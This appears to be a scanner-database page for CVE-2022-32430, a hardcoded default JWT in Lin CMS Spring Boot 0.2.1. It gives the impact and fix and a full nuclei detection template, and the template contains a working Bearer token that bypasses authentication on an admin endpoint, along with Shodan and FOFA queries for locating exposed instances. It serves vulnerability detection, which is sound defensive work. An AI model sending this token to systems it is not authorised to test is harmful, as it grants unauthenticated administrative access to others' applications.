Lin CMS Spring Boot - Default JWT Token

highseverity

7.5CVSS score

5%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

An access control issue in Lin CMS Spring Boot v0.2.1 allows attackers to access the backend information and functions within the application.

Impact

Unauthenticated attackers can access backend administrative information and functions using a hardcoded default JWT token, potentially gaining complete control over the Lin CMS Spring Boot application including user management and content administration.

Fix

Update Lin CMS Spring Boot to a version later than 0.2.1 that uses unique JWT secret keys, removes hardcoded tokens, and implements proper token rotation.

How to confirm it

Send: GET {{BaseURL}}/cms/admin/group/all
Positive when: contains "\"id\":" and "\"name\":" and "\"level\":" AND contains in header "application/json" AND status 200 AND not contains "<html" or "<body" or "<script"

Run it with nuclei: nuclei -id CVE-2022-32430 -u <target>

The full check

id: CVE-2022-32430

info:
  name: Lin CMS Spring Boot - Default JWT Token
  author: DhiyaneshDK
  severity: high
  description: |
    An access control issue in Lin CMS Spring Boot v0.2.1 allows attackers to access the backend information and functions within the application.
  impact: |
    Unauthenticated attackers can access backend administrative information and functions using a hardcoded default JWT token, potentially gaining complete control over the Lin CMS Spring Boot application including user management and content administration.
  remediation: |
    Update Lin CMS Spring Boot to a version later than 0.2.1 that uses unique JWT secret keys, removes hardcoded tokens, and implements proper token rotation.
  reference:
    - https://github.com/TaleLin/lin-cms-spring-boot
    - https://web.archive.org/web/20220721190946/https://www.mesec.cn/archives/277
    - https://nvd.nist.gov/vuln/detail/CVE-2022-32430
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-32430
    epss-score: 0.05045
    epss-percentile: 0.92363
    cpe: cpe:2.3:a:talelin:lin-cms-spring-boot:0.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: talelin
    product: lin-cms-spring-boot
    shodan-query: http.html:"心上无垢，林间有风"
    fofa-query: body="心上无垢，林间有风"
  tags: cve,cve2022,lin-cms,auth-bypass,talelin,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cms/admin/group/all"
    headers:
      Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZGVudGl0eSI6MSwic2NvcGUiOiJsaW4iLCJ0eXBlIjoiYWNjZXNzIiwiZXhwIjoxNzUzMTkzNDc5fQ.SesmAnYN5QaHqSqllCInH0kvsMya5vHA1qPHuwCZ8N8

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"id":'
          - '"name":'
          - '"level":'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - '<html'
          - '<body'
          - '<script'
        negative: true

References

Use this check only on systems you are authorised to test. Where the data comes from